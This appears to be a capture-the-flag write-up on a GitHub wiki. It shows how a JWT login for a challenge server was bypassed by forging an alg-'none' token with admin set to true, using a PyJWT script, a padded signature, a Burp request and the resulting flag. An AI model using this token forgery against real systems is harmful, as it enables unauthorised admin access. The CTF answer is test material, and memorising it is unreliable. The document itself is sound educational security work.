Skip to content

CC's Control Center

Jenn Janesko edited this page Apr 6, 2019 · 2 revisions

This problem had the following description.

Captain Crypto's web control center was tracked.

challenges.ctfd.io:30071

Login with admin user to see if there are traces left.

At the web address was a login mask.

I ran nikto, but it resulted only a couple of false positives and useless findings. I manually attempted some SQL injection. This also resulted in nothing. I proxied the traffic over burp and inspected the traffic when I attempted to log in. A token value in the header caught my attention.

token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzc28iLCJpYXQiOjE1NTQyNzAyNTEsInVpZCI6MTU2LCJleHAiOjE1NTQyODAyNTEsIm5hbWUiOiJBbm9ueW1vdXMiLCJhZG1pbiI6ImZhbHNlIiwiaW50SUQiOiJiYzQ4YjkxMi1kMmU5LTQ5NGQtOTU1NC1iNjhhYTE1YjkxMWIifQ.MHO2IJ4gWgrgKW4hqqAhlF57EOS92reHUm-36debzhw

It starts with "ey" which is the beginning of a JSON web token (see: jwt.io). There are a couple of know attacks for this. I was curious what was in the token, so I base64 decoded the payload part of the token (the contents between the two "."s).

payload: eyJpc3MiOiJzc28iLCJpYXQiOjE1NTQyNzAyNTEsInVpZCI6MTU2LCJleHAiOjE1NTQyODAyNTEsIm5hbWUiOiJBbm9ueW1vdXMiLCJhZG1pbiI6ImZhbHNlIiwiaW50SUQiOiJiYzQ4YjkxMi1kMmU5LTQ5NGQtOTU1NC1iNjhhYTE1YjkxMWIifQ

base64 decoded payload: {"iss":"sso","iat":1554270251,"uid":156,"exp":1554280251,"name":"Anonymous","admin":"false","intID":"bc48b912-d2e9-494d-9554-b68aa15b911b"}

In the payload I could see that there was the name value pair "admin":"false". I could change the value to "true" and try to submit it. I wanted to know which type of hash was being used to protect the payload value. To do this, I base64 decoded the JWT header (the contents prior to the first ".").

header: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9

base64 decoded header: {"alg":"HS256","typ":"JWT"}

Looking at the header information, I could see that the payload was protected with an HMAC with SHA-256. This is not something that I am going to be able brute force. But, none-the-less, I made a list of words that could serve as the key like "secret" and "CaptainCrypto" and attempted to generate the same hash in the original JWT using these words as the keys using PyJWT. Unfortunately,I did not find any matches.

I knew of a couple of other ways to attack JSON web tokens, so I decided to venture in this general direction. There is a nice summary of the attacks under https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/JSON%20Web%20Token. The attack that I decided to do was to change the "alg" in the header to "none". This approach basically tells the validator not to check a hash to verify that the payload has not been manipulated. For this, I wrote a quick script utilizing PyJWT.

import jwt

# payload changed so "admin":"true"

payload={"iss":"sso","iat":1554270251,"uid":156,"exp":1554280251,"name":"Anonymous","admin":"true","intID":"bc48b912-d2e9-494d-9554-b68aa15b911b"}

# header - no key because algorithm is none

print jwt.encode(payload,key=None,algorithm=None)

When I ran the program, it generated the following JWT.

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1aWQiOjE1NiwiaXNzIjoic3NvIiwiYWRtaW4iOiJ0cnVlIiwiZXhwIjoxNTU0MjgwMjUxLCJpbnRJRCI6ImJjNDhiOTEyLWQyZTktNDk0ZC05NTU0LWI2OGFhMTViOTExYiIsImlhdCI6MTU1NDI3MDI1MSwibmFtZSI6IkFub255bW91cyJ9.

As can be seen, there is no hash after the last ".". I sent my web request to the repeater in Burp, and then I swapped the token from the server for the token that I had generated with PyJWT. Then I submitted the request. I got the following error message.

<br />

<b>Fatal error</b>: Uncaught ReallySimpleJWT\Exception\ValidateException: Token is invalid. in /var/www/app/ReallySimpleJWT/src/Parse.php:75

Stack trace:

#0 /var/www/app/ReallySimpleJWT/src/Token.php(127): ReallySimpleJWT\Parse-&gt;validate()

#1 /var/www/app/login.php(86): ReallySimpleJWT\Token::getPayload('eyJhbGciOiJub25...', 'Hello&amp;MikeFooBa...')

#2 /var/www/app/login.php(26): is_admin_user()

#3 {main}

thrown in <b>/var/www/app/ReallySimpleJWT/src/Parse.php</b> on line <b>75</b><br />

I tried removing the last "." in the JWT, and I got another exception. I searched for ReallySimpleJWT and found that there was a library associated with it https://github.com/RobDWaller/ReallySimpleJWT. I looked at it for a bit. I trying to track what could have triggered the exception, when a thought occurred to me.

The "none" option is not the most consistently supported alg of JWT. In fact, many implementations have dropped it because of this downgrade attack. What if this library was simply checking for all 3 parts of the JWT; header, payload and hash and throwing the exception because my token did not have the 3rd part? I decided to try to adding a character after the last "." so that there was some value in the 3rd part of the JWT. Then I sent the request to the server using Burp's repeater. The request looked like the following.

GET /login.php HTTP/1.1

Host: challenges.ctfd.io:30071

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Cookie: token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1aWQiOjE1NiwiaXNzIjoic3NvIiwiYWRtaW4iOiJ0cnVlIiwiZXhwIjoxNTU0MjgwMjUxLCJpbnRJRCI6ImJjNDhiOTEyLWQyZTktNDk0ZC05NTU0LWI2OGFhMTViOTExYiIsImlhdCI6MTU1NDI3MDI1MSwibmFtZSI6IkFub255bW91cyJ9.l

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Happily, this request resulted in the flag!

HTTP/1.1 200 OK

Date: Sat, 06 Apr 2019 21:30:21 GMT

Server: Apache/2.4.38 (Ubuntu)

Vary: Accept-Encoding

Content-Length: 237

Connection: close

Content-Type: text/html; charset=UTF-8

<html>

<head>

`<title>`

  `Secret Page`

`</title>`

`<link href="login.css" rel="stylesheet">`

</head>

<body>

`<a>Congrats! Your flag is mucctf{E777CE6800A86BFFB28D6336A153689D5D791640}</a>`

</body>

</html>

You can’t perform that action at this time.